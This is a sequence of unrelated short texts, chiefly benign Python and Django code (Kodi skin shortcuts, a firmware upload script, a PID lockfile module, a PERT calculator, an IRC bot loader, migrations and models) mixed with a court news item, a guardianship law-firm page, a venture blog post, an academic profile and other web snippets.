"group" ) group.text = try_decode( groupName ) allProps[ "group" ] = group # If this isn't the main menu, and we're cloning widgets or backgrounds... if groupName != "mainmenu": if "clonewidgets" in options and len( self.MAINWIDGET ) is not 0: for key in self.MAINWIDGET: additionalproperty = xmltree.SubElement( newelement, "property" ) additionalproperty.set( "name", key ) additionalproperty.text = try_decode( self.MAINWIDGET[ key ] ) allProps[ key ] = additionalproperty if "clonebackgrounds" in options and len( self.MAINBACKGROUND ) is not 0: for key in self.MAINBACKGROUND: additionalproperty = xmltree.SubElement( newelement, "property" ) additionalproperty.set( "name", key ) additionalproperty.text = DATA.local( self.MAINBACKGROUND[ key ] )[1] allProps[ key ] = additionalproperty if "cloneproperties" in options and len( self.MAINPROPERTIES ) is not 0: for key in self.MAINPROPERTIES: additionalproperty = xmltree.SubElement( newelement, "property" ) additionalproperty.set( "name", key ) additionalproperty.text = DATA.local( self.MAINPROPERTIES[ key ] )[1] allProps[ key ] = additionalproperty propertyPatterns = self.getPropertyPatterns(labelID.text, groupName) if len(propertyPatterns) > 0: propertyReplacements = self.getPropertyReplacements(newelement) for propertyName in propertyPatterns: propertyPattern = propertyPatterns[propertyName][0] for original, replacement in propertyReplacements: regexpPattern = re.compile(re.escape(original), re.IGNORECASE) propertyPattern = regexpPattern.sub(replacement, propertyPattern) additionalproperty = xmltree.SubElement(newelement, "property") additionalproperty.set("name", propertyName.decode("utf-8")) additionalproperty.text = propertyPattern.decode("utf-8") allProps[ propertyName ] = additionalproperty return( newelement, allProps ) def getPropertyPatterns(self, labelID, group): propertyPatterns = {} if not self.loadedPropertyPatterns: overrides = DATA._get_overrides_skin() self.propertyPatterns = overrides.getroot().findall("propertypattern") self.loadedPropertyPatterns = True for propertyPatternElement in self.propertyPatterns: propertyName = propertyPatternElement.get("property") propertyGroup = propertyPatternElement.get("group") if not propertyName or not propertyGroup or propertyGroup != group or not propertyPatternElement.text: continue propertyLabelID = propertyPatternElement.get("labelID") if not propertyLabelID: if propertyName not in propertyPatterns: propertyPatterns[propertyName] = [propertyPatternElement.text, False] elif propertyLabelID == labelID: if propertyName not in propertyPatterns or propertyPatterns[propertyName][1] == False: propertyPatterns[propertyName] = [propertyPatternElement.text, True] return propertyPatterns def getPropertyReplacements(self, element): propertyReplacements = [] for subElement in list(element): if subElement.tag == "property": propertyName = subElement.get("name") if propertyName and subElement.text: propertyReplacements.append(("::%s::" % propertyName, subElement.text)) elif subElement.text: propertyReplacements.append(("::%s::" % subElement.tag, subElement.text)) return propertyReplacements def propertyExists( self, propertyName, element ): for item in element.findall( "property" ): if propertyName in item.attrib: return True return False def findIncludePosition( self, list, item ): try: return list.index( item ) except: return None
Because I was so frightened. a Fhinn bháin an droichscél? O White Finn, with your bad news? fár léigis díot do choimét? That you could discard your duty? Or I would have waited ‘til evening! ← Fair Lady, Will You Go With Me?
#!/usr/bin/python import sys import pynvc def reprogramNvmdefault(destination, filename): MESSAGESIZE = 16 reply = pynvc.sendWithRetryAndCheckedReceive(destination=destination, command=pynvc.REPRG_OPEN, allowedReplies=[pynvc.REPRG_OPEN_R], quitOnFailure=True) pagesize = reply[1]*256 + reply[2] lines = [" " + l.replace('0x','').replace(',','').replace('\n','') for l in open(filename).readlines() if l.startswith('0x')] bytecode = [] for l in lines: for b in l.split(): bytecode.append(int(b, 16)) print "Uploading", len(bytecode), "bytes." packetLost = False pos = 0 while not pos == len(bytecode): payload_pos = [pos/256, pos%256] payload_data = bytecode[pos:pos+MESSAGESIZE] if pos/pagesize == (pos+len(payload_data))/pagesize: if packetLost == False and pos == 32: print "------------->Simulating packet loss" # drop this one packet packetLost = True else: pynvc.sendcmd(destination, pynvc.REPRG_WRITE, payload_pos+payload_data) pos += len(payload_data) else: # Send last packet of this page and wait for a REPRG_WRITE_R_RETRANSMIT after each full page reply = pynvc.sendWithRetryAndCheckedReceive(destination=destination, command=pynvc.REPRG_WRITE, allowedReplies=[pynvc.REPRG_WRITE_R_OK, pynvc.REPRG_WRITE_R_RETRANSMIT], payload=payload_pos+payload_data, quitOnFailure=True) print "Page boundary reached, wait for REPRG_WRITE_R_OK or REPRG_WRITE_R_RETRANSMIT" if reply[0] == pynvc.REPRG_WRITE_R_OK: print "Received REPRG_WRITE_R_OK in reply to packet writing at", payload_pos pos += len(payload_data) else: pos = reply[1]*256 + reply[2] print "===========>Received REPRG_WRITE_R_RETRANSMIT request to retransmit from ", pos # Send REPRG_COMMIT after last packet if pos == len(bytecode): reply = pynvc.sendWithRetryAndCheckedReceive( destination=destination, command=pynvc.REPRG_COMMIT, allowedReplies=[pynvc.REPRG_COMMIT_R_RETRANSMIT, pynvc.REPRG_COMMIT_R_FAILED, pynvc.REPRG_COMMIT_R_OK], payload=[pos/256, pos%256], quitOnFailure=True) if reply[0] == pynvc.REPRG_COMMIT_R_OK: print reply print "Commit OK." elif reply[0] == pynvc.REPRG_COMMIT_R_RETRANSMIT: pos = reply[1]*256 + reply[2] print "===========>Received REPRG_COMMIT_R_RETRANSMIT request to retransmit from ", pos else: print "Commit failed." quit() pynvc.sendcmd(destination, pynvc.SETRUNLVL, [pynvc.RUNLVL_RESET]) if __name__ == "__main__": pynvc.init() reprogramNvmdefault(int(sys.argv[1]), sys.argv[2])
The Texas Supreme Court recently granted a petition to review an appeal in Hudson et al. v. Ard, No. 15-0705. The case concerns a will or trust beneficiary’s right to question the actions of executors and trustees in light of a forfeiture clause purporting to disinherit anyone who challenges the will or the representatives. Mary Ard, a beneficiary under the will and a testamentary trust, sued the trustees alleging breaches of fiduciary duties, seeking an accounting, and other relief. The remaining beneficiaries sought to enforce the will’s forfeiture clause, which if triggered would disinherit Ard. The probate court found that Ard’s suit indeed triggered the forfeiture clause. The Second Court of Appeals in Fort Worth reversed, holding that merely seeking injunctive relief and a receiver during the pendency of the lawsuit failed to trigger the forfeiture clause. The remaining beneficiaries appealed to the Texas Supreme Court. The case is set for oral argument on March 9, 2017.
from django.contrib import admin from mezzanine.pages.admin import PageAdmin from .models import HomePage, Slide, Portfolio, PortfolioItem, PortfolioItemImage, PortfolioItemCategory, Porter, TempPortfolio, ItemPorter, Portfolios, DocumentListItem, DocumentList, DocumentListItemCategory from mezzanine.core.admin import TabularDynamicInlineAdmin class SlideInline(TabularDynamicInlineAdmin): model = Slide class PorterInline(TabularDynamicInlineAdmin): model = Porter class ItemPorterInline(TabularDynamicInlineAdmin): model = ItemPorter class HomePageAdmin(PageAdmin): inlines = (SlideInline, PorterInline,) class TempPortfolioAdmin(PageAdmin): inlines = (ItemPorterInline,) class PortfolioItemImageInline(TabularDynamicInlineAdmin): model = PortfolioItemImage class PortfolioItemAdmin(PageAdmin): inlines = (PortfolioItemImageInline,) class DocumentListItemInline(TabularDynamicInlineAdmin): model = DocumentListItem class DocumentListAdmin(PageAdmin): inlines = (DocumentListItemInline,) admin.site.register(HomePage, HomePageAdmin) admin.site.register(TempPortfolio, TempPortfolioAdmin) admin.site.register(Portfolio, PageAdmin) admin.site.register(Portfolios, PageAdmin) admin.site.register(PortfolioItemCategory) admin.site.register(PortfolioItem, PortfolioItemAdmin) admin.site.register(DocumentList, DocumentListAdmin) admin.site.register(DocumentListItemCategory)
Published 04/21/2019 08:23:19 pm at 04/21/2019 08:23:19 pm in Coffee And Tea Signs. coffee and tea signs coffee signs wooden coffee signs tea sign by designhousedecor vertical coffee and tea signs. coffee and tea farmhouse signs,coffee bar and tea signs for kitchen,coffee and tea farmhouse sign decor,coffee and tea embossed sign,coffee and tea embossed signage,coffee and tea farmhouse sign from magnolia,coffee and tea farmhouse sign ideas,coffee and tea led sign,wood coffee and tea signs,coffee and tea farmhouse sign font,coffee and tea metal sign.
# -*- coding: utf-8 -*- # daemon/pidlockfile.py # Part of python-daemon, an implementation of PEP 3143. # # Copyright © 2008–2009 Ben Finney <ben+python@benfinney.id.au> # # This is free software: you may copy, modify, and/or distribute this work # under the terms of the Python Software Foundation License, version 2 or # later as published by the Python Software Foundation. # No warranty expressed or implied. See the file LICENSE.PSF-2 for details. """ Lockfile behaviour implemented via Unix PID files. """ import os import errno from lockfile import ( LinkFileLock, AlreadyLocked, LockFailed, NotLocked, NotMyLock, ) class PIDFileError(Exception): """ Abstract base class for errors specific to PID files. """ class PIDFileParseError(ValueError, PIDFileError): """ Raised when parsing contents of PID file fails. """ class PIDLockFile(LinkFileLock, object): """ Lockfile implemented as a Unix PID file. The PID file is named by the attribute `path`. When locked, the file will be created with a single line of text, containing the process ID (PID) of the process that acquired the lock. The lock is acquired and maintained as per `LinkFileLock`. """ def read_pid(self): """ Get the PID from the lock file. """ result = read_pid_from_pidfile(self.path) return result def acquire(self, *args, **kwargs): """ Acquire the lock. Locks the PID file then creates the PID file for this lock. The `timeout` parameter is used as for the `LinkFileLock` class. """ super(PIDLockFile, self).acquire(*args, **kwargs) try: write_pid_to_pidfile(self.path) except OSError, exc: error = LockFailed("%(exc)s" % vars()) raise error def release(self): """ Release the lock. Removes the PID file then releases the lock, or raises an error if the current process does not hold the lock. """ if self.i_am_locking(): remove_existing_pidfile(self.path) super(PIDLockFile, self).release() def break_lock(self): """ Break an existing lock. If the lock is held, breaks the lock and removes the PID file. """ super(PIDLockFile, self).break_lock() remove_existing_pidfile(self.path) class TimeoutPIDLockFile(PIDLockFile): """ Lockfile with default timeout, implemented as a Unix PID file. This uses the ``PIDLockFile`` implementation, with the following changes: * The `acquire_timeout` parameter to the initialiser will be used as the default `timeout` parameter for the `acquire` method. """ def __init__(self, path, acquire_timeout=None, *args, **kwargs): """ Set up the parameters of a DaemonRunnerLock. """ self.acquire_timeout = acquire_timeout super(TimeoutPIDLockFile, self).__init__(path, *args, **kwargs) def acquire(self, timeout=None, *args, **kwargs): """ Acquire the lock. """ if timeout is None: timeout = self.acquire_timeout super(TimeoutPIDLockFile, self).acquire(timeout, *args, **kwargs) def read_pid_from_pidfile(pidfile_path): """ Read the PID recorded in the named PID file. Read and return the numeric PID recorded as text in the named PID file. If the PID file does not exist, return ``None``. If the content is not a valid PID, raise ``PIDFileParseError``. """ pid = None pidfile = None try: pidfile = open(pidfile_path, 'r') except IOError, exc: if exc.errno == errno.ENOENT: pass else: raise if pidfile: # According to the FHS 2.3 section on PID files in ‘/var/run’: # # The file must consist of the process identifier in # ASCII-encoded decimal, followed by a newline character. … # # Programs that read PID files should be somewhat flexible # in what they accept; i.e., they should ignore extra # whitespace, leading zeroes, absence of the trailing # newline, or additional lines in the PID file. line = pidfile.readline().strip() try: pid = int(line) except ValueError: raise PIDFileParseError( "PID file %(pidfile_path)r contents invalid" % vars()) pidfile.close() return pid def write_pid_to_pidfile(pidfile_path): """ Write the PID in the named PID file. Get the numeric process ID (“PID”) of the current process and write it to the named file as a line of text. """ open_flags = (os.O_CREAT | os.O_EXCL | os.O_WRONLY) open_mode = ( ((os.R_OK | os.W_OK) << 6) | ((os.R_OK) << 3) | ((os.R_OK))) pidfile_fd = os.open(pidfile_path, open_flags, open_mode) pidfile = os.fdopen(pidfile_fd, 'w') # According to the FHS 2.3 section on PID files in ‘/var/run’: # # The file must consist of the process identifier in # ASCII-encoded decimal, followed by a newline character. For # example, if crond was process number 25, /var/run/crond.pid # would contain three characters: two, five, and newline. pid = os.getpid() line = "%(pid)d\n" % vars() pidfile.write(line) pidfile.close() def remove_existing_pidfile(pidfile_path): """ Remove the named PID file if it exists. Remove the named PID file. Ignore the condition if the file does not exist, since that only means we are already in the desired state. """ try: os.remove(pidfile_path) except OSError, exc: if exc.errno == errno.ENOENT: pass else: raise
Guardianship provides family members with the opportunity to provide necessary care and support to adult children with disabilities and elderly loved ones who are no longer able to make financial and medical decisions for themselves. While establishing guardianship is an important – and often necessary – step for many families, before seeking to appoint a legal guardian for a loved one, it is critical to understand the process involved and the alternatives that may be available. Since appointing a guardian inherently involves depriving the ward of certain of his or her legal rights, the process of establishing guardianship is subject to a number of stringent legal requirements. At Helmer, Conley & Kasselman, we have helped numerous families navigate the guardianship process, and we also have significant experience helping clients pursue alternatives to guardianship. When you schedule a consultation with one of our attorneys, we will help you understand each of the various considerations involved in appointing a guardian, and we will help you choose the best option for meeting your loved one’s needs. New Jersey law recognizes two primary forms of guardianship: general guardianship and limited guardianship. With limited guardianship, the appointed guardian is given the authority (and assumes the obligation) to make certain decisions with respect to the ward’s financial, medical and other needs. Depending upon the circumstances, a limited guardian may be appointed to make decisions regarding the ward’s education, vocational activities, housing and legal representation. Family members can seek limited guardianship when a loved one has diminished decision-making capacity but is not fully incapacitated, and establishing limited guardianship can often be a precursor to appointing a general guardian. In many circumstances, less-restrictive alternatives to guardianship will be available. For example, one of the most well-known alternatives to guardianship is the “power of attorney.” A power of attorney grants decision-making authority to a trusted confidant (typically a close family member), but without many of the legal implications of general or limited guardianship. If your loved one has not yet been deemed incapacitated (once deemed incapacitated, an individual cannot legally execute a power of attorney), a power of attorney may be a better option. Our attorneys can help you decide. There are a number of other potential alternatives as well, from establishing a joint checking account to making use of living trusts and other estate planning tools. Regardless of your loved one’s condition and needs, we can make sure you have the tools you need to give your loved one the life he or she deserves. For more information about establishing guardianship in New Jersey and the alternatives that you may have available, please contact us for an initial consultation. To speak with one of our experienced family lawyers in confidence, call 1-877-435-6371 or request an appointment online today.
#!/usr/bin/env python # copyright (c) 2014 Stein Fletcher <steinfletcher@gmail.com> # # Purpose: A simple utility to estimate tasks using PERT # Usage: # pert --tasks="1,2,4 5,7,11 7,11,22" # # which calculates the total duration (including risk) of 3 tasks # task1: optimistic: 1, nominal: 2, pessimistic: 4 # task2: optimistic: 5, nominal: 7, pessimistic: 11 # task3: optimistic: 7, nominal: 11, pessimistic: 22 from math import pow, sqrt import errno import argparse class Task(object): def __init__(self, opt, nom, pes): self.opt = opt self.nom = nom self.pes = pes class Estimation: def __init__(self): self.tasks = [] def add_task(self, task): self.tasks.append(task) def get_duration(self): return Calculator.total_duration(self.tasks) def get_uncertainty(self): return Calculator.total_uncertainty(self.tasks) def get_estimate(self): return Calculator.estimate(self.tasks) def print_report(self): for index, task in enumerate(self.tasks): print "[{0}: (O:{1}), (N:{2}), (P:{3})] | duration: {4}, risk: {5}".format( index + 1 , task.opt , task.nom , task.pes , round(Calculator.expected_duration(task), 2) , round(Calculator.uncertainty(task), 2) ) print "Final estimate: {}".format(round(self.get_estimate(), 2)) class Calculator(object): @staticmethod def estimate(tasks): return (Calculator.total_duration(tasks) + Calculator.total_uncertainty(tasks)) @staticmethod def total_duration(tasks): return sum([Calculator.expected_duration(task) for task in tasks]) @staticmethod def total_uncertainty(tasks): return sqrt(sum([pow(Calculator.uncertainty(task), 2) for task in tasks])) @staticmethod def expected_duration(task): return (task.opt + 4*task.nom + task.pes) / 6 @staticmethod def uncertainty(task): return (task.pes - task.opt) / 6 def main(): def validate_params(params): task_list = params['tasks'].split() if len(task_list) < 1: print "No tasks specified" parser.print_help() exit(errno.EINVAL) for element in task_list: element_params = element.split(',') if len(element_params) != 3: print "Invalid number of task attributes" parser.print_help() exit(errno.EINVAL) return task_list parser = argparse.ArgumentParser(description='A command line PERT calculator for quick \'n dirty estimates') parser.add_argument( '--tasks', help='a comma separated task list in the form "1,2,12 4,5,9 2,3,6", where whitespace separates tasks', required=True) args = vars(parser.parse_args()) tasks = validate_params(args) estimation = Estimation() for task in tasks: attrs = [float(val) for val in task.split(',')] t = Task(opt=attrs[0], nom=attrs[1], pes=attrs[2]) estimation.add_task(t) estimation.print_report() exit(0) if __name__ == '__main__': main()
80 pages, 8.375 x 10.875. Art director and editor: Rudy VanderLans. Bill Gubbins, thinkinkinkink (short story). J. Smeaton Chase, Our Araby: Palm Springs and the Garden of the Sun (from a book first published in 1920; presented as type specimen, photographs: VanderLans). Elliott Earls, (portraits of Martin Luther King, Malcolm X, Max Ernst, Kurt Schwitters). Darick Chamberlin, Brand of the Century (essay on Shawn Wolfe and Beatkit). Martin Venezky, Notes on the West (visual essay). Deborah Griffin, Lemon Chiffon Cadillac with Buttercream Interior (introducing Cholla typeface family, interview with Sibylle Hagmann and Denise Gonzales Crisp).
import inspect import imp from irc import IRCConn from console import Console MODULES = ["mod_tv", "mod_imdb", "mod_yt", "mod_weather", "mod_8ball", "mod_hlquery", "mod_kiez", "mod_wc", "mod_wa"] class Modules(): # dictionary with modname mapped to (module, obj) modules = {} def instantiate(self, m): for attr in dir(m): attr = getattr(m, attr) if(inspect.isclass(attr) and inspect.getmodule(attr) == m and issubclass(attr, BaseModule)): return attr() def __init__(self): global MODULES for s in MODULES: self.load(s) def load(self, name): try: m = __import__(name) self.modules[name] = (m, self.instantiate(m)) print("Loaded %s." % name) except Exception as e: print("Could not load module %s: %s" % (name, e)) def reload(self): for key, val in self.modules.items(): print("Reloading %s .." % (key)) try: reloadedmod = imp.reload(val[0]) newinstance = self.instantiate(reloadedmod) self.modules[key] = (reloadedmod, newinstance) except Exception as e: print("Could not reload module %s: %s" (key, e)) def onprivmsg(self, conn, sender, to, message): for key, val in self.modules.items(): try: val[1].onprivmsg(conn, sender, to, message) except Exception as e: excname = type(e).__name__ print("Error running privmsg() handler in %s: %s: %s" % (key, excname, e)) class BaseModule(): def onprivmsg(self, conn, sender, to, message): pass def extractarg(self, trigger, message): if message.startswith(trigger): _, arg = message.split(trigger, 1) return arg.lstrip() return None
Today we prepared Material Design UI Kits. It contains 15 graceful designs that are free of charge. If you are not familiar with the material design, continue reading. Material design offers a system for designing functional and elegant software. How does your brand fit into the framework? We’ve created a step-by-step guide to staying on-brand while going material. Nobody knows your brand better than you do. This is why when we set out to create the framework for material design, we were sensitive to the ways in which third-party developers might leverage the system. We wanted material design to give comprehensive guidance for designing effective and elegant UIs — taking a strong position on motion, dimensionality, color, and graphic hierarchy — but with enough latitude to allow for various levels of engagement. You don’t have to adopt every element of the material design system in order for it to be beneficial to your identity system. Whether it’s a custom font, a unique color story, or distinct voice, everything that provides stylistic distinction in a product should be celebrated and supported in the material design framework. We’ve laid out the top brand touchpoints to help illustrate the system’s flexibility and give designers and developers a road map for showcasing their brand identity.
# -*- coding: utf-8 -*- from south.db import db from south.v2 import SchemaMigration class Migration(SchemaMigration): def forwards(self, orm): # Adding model 'YoutubeVideoContainer' db.create_table(u'cmsplugin_youtubevideocontainer', ( (u'cmsplugin_ptr', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['cms.CMSPlugin'], unique=True, primary_key=True)), ('description', self.gf('django.db.models.fields.CharField')(max_length=100, null=True, blank=True)), )) db.send_create_signal(u'djangocms_youtube_slider', ['YoutubeVideoContainer']) # Adding model 'YoutubeVideoSlide' db.create_table(u'cmsplugin_youtubevideoslide', ( (u'cmsplugin_ptr', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['cms.CMSPlugin'], unique=True, primary_key=True)), ('slider', self.gf('django.db.models.fields.related.ForeignKey')(related_name='slides', to=orm['djangocms_youtube_slider.YoutubeVideoContainer'])), ('video_link', self.gf('django.db.models.fields.CharField')(max_length=200)), )) db.send_create_signal(u'djangocms_youtube_slider', ['YoutubeVideoSlide']) def backwards(self, orm): # Deleting model 'YoutubeVideoContainer' db.delete_table(u'cmsplugin_youtubevideocontainer') # Deleting model 'YoutubeVideoSlide' db.delete_table(u'cmsplugin_youtubevideoslide') models = { 'cms.cmsplugin': { 'Meta': {'object_name': 'CMSPlugin'}, 'changed_date': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}), 'creation_date': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'language': ('django.db.models.fields.CharField', [], {'max_length': '15', 'db_index': 'True'}), 'level': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}), 'lft': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}), 'parent': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['cms.CMSPlugin']", 'null': 'True', 'blank': 'True'}), 'placeholder': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['cms.Placeholder']", 'null': 'True'}), 'plugin_type': ('django.db.models.fields.CharField', [], {'max_length': '50', 'db_index': 'True'}), 'position': ('django.db.models.fields.PositiveSmallIntegerField', [], {'null': 'True', 'blank': 'True'}), 'rght': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}), 'tree_id': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}) }, 'cms.placeholder': { 'Meta': {'object_name': 'Placeholder'}, 'default_width': ('django.db.models.fields.PositiveSmallIntegerField', [], {'null': 'True'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'slot': ('django.db.models.fields.CharField', [], {'max_length': '50', 'db_index': 'True'}) }, u'djangocms_youtube_slider.youtubevideocontainer': { 'Meta': {'object_name': 'YoutubeVideoContainer', 'db_table': "u'cmsplugin_youtubevideocontainer'", '_ormbases': ['cms.CMSPlugin']}, u'cmsplugin_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['cms.CMSPlugin']", 'unique': 'True', 'primary_key': 'True'}), 'description': ('django.db.models.fields.CharField', [], {'max_length': '100', 'null': 'True', 'blank': 'True'}) }, u'djangocms_youtube_slider.youtubevideoslide': { 'Meta': {'object_name': 'YoutubeVideoSlide', 'db_table': "u'cmsplugin_youtubevideoslide'", '_ormbases': ['cms.CMSPlugin']}, u'cmsplugin_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['cms.CMSPlugin']", 'unique': 'True', 'primary_key': 'True'}), 'slider': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'slides'", 'to': u"orm['djangocms_youtube_slider.YoutubeVideoContainer']"}), 'video_link': ('django.db.models.fields.CharField', [], {'max_length': '200'}) } } complete_apps = ['djangocms_youtube_slider']
From October 2010 to October 2010. From October 2010 to September 2011. From October 2010 to August 2015. BSc (Hons) Physiotherapy (from University of Salford). B.soc.sci (Hons) Psychology (from University of Natal, Pietermaritzburg). Principal Investigator: M Coffey (34%). Co-Investigators: A Cooper-Ryan (33%), T Brown (33%). Cardinus Risk Management Ltd, £64,000.00. Principal Investigator: A Cooper-Ryan (45%). Co-Investigators: S Preece (10%), T Brown (45%). Principal Investigator: C Parker (60%). Co-Investigator: T Brown (40%). Munro, W & Brown, T 2016, 'Evaluation of the use of peer support groups to facilitate confidence in communication skills for university assessment, classroom activities and clinical practice in BSc Hons Physiotherapy students ', Exhibited at: Higher Education Academy : Inspire to succeed: Transforming Teaching and Learning in Health and Social Care, Glasgow, Scotland, From 24/02/2016 To 25/02/2016. Coffey, M & Cooper, A M & Brown, T M & Cook, P & CLARKE-CORNWELL, A 2014, 'Vascular Health Checks in Salford: an exploration using FARSITE data', for: Salford City Council, University of Salford, Salford, United Kingdom.
from courselib.auth import requires_role from django.shortcuts import get_object_or_404, render from grad.models import GradStudent, Supervisor, GradRequirement from grad.forms import SupervisorForm, possible_supervisors from django.contrib import messages from log.models import LogEntry from django.http import HttpResponseRedirect from django.urls import reverse @requires_role("GRAD") def manage_supervisors(request, grad_slug): grad = get_object_or_404(GradStudent, slug=grad_slug, program__unit__in=request.units) supervisors = Supervisor.objects.filter(student=grad).select_related('supervisor') supervisor_people = [s.supervisor for s in supervisors if s.supervisor] if request.method == 'POST': form = SupervisorForm(request.POST) form.set_supervisor_choices(possible_supervisors([grad.program.unit], extras=supervisor_people, null=True)) if form.is_valid(): s = form.save(commit=False) s.modified_by = request.user.username s.student = grad s.save() messages.success(request, "Added committee member for %s." % (grad)) l = LogEntry(userid=request.user.username, description="Added committee member %s for %s." % (s, grad.person.userid), related_object=s) l.save() return HttpResponseRedirect(reverse('grad:manage_supervisors', kwargs={'grad_slug':grad_slug})) else: form = SupervisorForm() form.set_supervisor_choices(possible_supervisors([grad.program.unit], extras=supervisor_people, null=True)) context = { 'form': form, 'supervisors': supervisors, 'grad': grad, 'can_edit': True, } return render(request, 'grad/manage_supervisors.html', context)
You may have seen a lot of press on our portfolio company Bevi recently. That is because they just closed a $6.5M funding round led by Horizons Ventures, Li Ka Shing’s personal venture investment firm. They were picked up with coverage on VentureBeat, Xconomy, BostInno, Boston Business Journal, and others. In case you aren’t familiar with what they do, Bevi has invented and operates proprietary internet-connected hydration machines that dispense customized drinks at the office. These machines allow the user to mix and match flavors and water carbonation levels. Their proprietary technology allows seamless inventory management from their home base and enables them to track key data including; usage, machine performance, inventory levels, and user preferences and trends over time. Target customers include medium to large offices and they compare favorably (both from a product and price standpoint) with the traditional water cooler. They don’t just intend to compete with the water cooler, but they hope to replace it altogether. It will happen faster than you think, mark my words. Frankly, I don’t think it’s a very fair fight. While being priced similarly to the water cooler, the internet enabled capabilities of the Bevi machine allow seamless and remote monitoring of the units while providing endless customization opportunities. As a result of this automation, office managers have less to think about, as Bevi knows when exactly to service and repair their machines, and users can come to any Bevi machine across the world and expect to receive a consistent, quality, and healthy experience time-after-time. If you’re curious what the machines look like, head over to their website which contains a video on the cover page – www.bevi.co. I am personally very proud of what Sean, Frank, and Eliza (and the rest of the talented team) were able to accomplish in such a short period of time. It has been just over a year since we completed our investment in the company and I can tell you that they’ve made some great strides in building a top quality platform that is reliable, appealing, and pretty much rocks. I have a feeling this company will be around in the public mind and attention for a very long time to come. They are everything that is right about IoT startups, and bring great disruption to a stale beverage industry which has had very little innovation in the last 30 or 40 years. Their attention to their customers’ needs is unparalleled and their ability to provide a customized experience is what eventually leads to extreme loyalty from their users. Finally, I would just like to add how much I’ve personally enjoyed working with and learning from the Bevi team. For a period of about 6 months between Q4 – 2014 and Q2 – 2015 I served as a Board Observer for the company. That responsibility entailed many meetings with Sean (the CEO) that ran very late into the night, as we discussed various strategic issues affecting the company. I can’t say that I’ve met many other people who are as thoughtful, balanced, and creative as Sean. He embodies all the traits we seek when evaluating founders of startups we want to invest in. Looking forward for what the future has planned for Bevi and very excited about continuing our partnership with the team. Next Post 2016 – TechU Angels Investment Thesis v1.0 – what is your ‘secret sauce’? © 2014–2018 by Natanel Barookhian. All rights reserved.
from django.db import models from instruments.base import BaseTable class Swedish_WG(BaseTable): item_1_choices = [('understands', 'understands'), ('produces', 'produces')] item_1 = models.CharField(max_length=11, choices=item_1_choices, null=True) item_2_choices = [('understands', 'understands'), ('produces', 'produces')] item_2 = models.CharField(max_length=11, choices=item_2_choices, null=True) item_3_choices = [('understands', 'understands'), ('produces', 'produces')] item_3 = models.CharField(max_length=11, choices=item_3_choices, null=True) item_4_choices = [('understands', 'understands'), ('produces', 'produces')] item_4 = models.CharField(max_length=11, choices=item_4_choices, null=True) item_5_choices = [('understands', 'understands'), ('produces', 'produces')] item_5 = models.CharField(max_length=11, choices=item_5_choices, null=True) item_6_choices = [('understands', 'understands'), ('produces', 'produces')] item_6 = models.CharField(max_length=11, choices=item_6_choices, null=True) item_7_choices = [('understands', 'understands'), ('produces', 'produces')] item_7 = models.CharField(max_length=11, choices=item_7_choices, null=True) item_8_choices = [('understands', 'understands'), ('produces', 'produces')] item_8 = models.CharField(max_length=11, choices=item_8_choices, null=True) item_9_choices = [('understands', 'understands'), ('produces', 'produces')] item_9 = models.CharField(max_length=11, choices=item_9_choices, null=True) item_10_choices = [('understands', 'understands'), ('produces', 'produces')] item_10 = models.CharField(max_length=11, choices=item_10_choices, null=True) item_11_choices = [('understands', 'understands'), ('produces', 'produces')] item_11 = models.CharField(max_length=11, choices=item_11_choices, null=True) item_12_choices = [('understands', 'understands'), ('produces', 'produces')] item_12 = models.CharField(max_length=11, choices=item_12_choices, null=True) item_13_choices = [('understands', 'understands'), ('produces', 'produces')] item_13 = models.CharField(max_length=11, choices=item_13_choices, null=True) item_14_choices = [('understands', 'understands'), ('produces', 'produces')] item_14 = models.CharField(max_length=11, choices=item_14_choices, null=True) item_15_choices = [('understands', 'understands'), ('produces', 'produces')] item_15 = models.CharField(max_length=11, choices=item_15_choices, null=True) item_16_choices = [('understands', 'understands'), ('produces', 'produces')] item_16 = models.CharField(max_length=11, choices=item_16_choices, null=True) item_17_choices = [('understands', 'understands'), ('produces', 'produces')] item_17 = models.CharField(max_length=11, choices=item_17_choices, null=True) item_18_choices = [('understands', 'understands'), ('produces', 'produces')] item_18 = models.CharField(max_length=11, choices=item_18_choices, null=True) item_19_choices = [('understands', 'understands'), ('produces', 'produces')] item_19 = models.CharField(max_length=11, choices=item_19_choices, null=True) item_20_choices = [('understands', 'understands'), ('produces', 'produces')] item_20 = models.CharField(max_length=11, choices=item_20_choices, null=True) item_21_choices = [('understands', 'understands'), ('produces', 'produces')] item_21 = models.CharField(max_length=11, choices=item_21_choices, null=True) item_22_choices = [('understands', 'understands'), ('produces', 'produces')] item_22 = models.CharField(max_length=11, choices=item_22_choices, null=True) item_23_choices = [('understands', 'understands'), ('produces', 'produces')] item_23 = models.CharField(max_length=11, choices=item_23_choices, null=True) item_24_choices = [('understands', 'understands'), ('produces', 'produces')] item_24 = models.CharField(max_length=11, choices=item_24_choices, null=True) item_25_choices = [('understands', 'understands'), ('produces', 'produces')] item_25 = models.CharField(max_length=11, choices=item_25_choices, null=True) item_26_choices = [('understands', 'understands'), ('produces', 'produces')] item_26 = models.CharField(max_length=11, choices=item_26_choices, null=True) item_27_choices = [('understands', 'understands'), ('produces', 'produces')] item_27 = models.CharField(max_length=11, choices=item_27_choices, null=True) item_28_choices = [('understands', 'understands'), ('produces', 'produces')] item_28 = models.CharField(max_length=11, choices=item_28_choices, null=True) item_29_choices = [('understands', 'understands'), ('produces', 'produces')] item_29 = models.CharField(max_length=11, choices=item_29_choices, null=True) item_30_choices = [('understands', 'understands'), ('produces', 'produces')] item_30 = models.CharField(max_length=11, choices=item_30_choices, null=True) item_31_choices = [('understands', 'understands'), ('produces', 'produces')] item_31 = models.CharField(max_length=11, choices=item_31_choices, null=True) item_32_choices = [('understands', 'understands'), ('produces', 